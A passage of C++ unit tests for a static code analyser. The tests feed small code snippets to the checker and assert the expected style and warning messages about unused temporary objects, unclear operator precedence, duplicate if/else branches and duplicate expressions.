}\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n 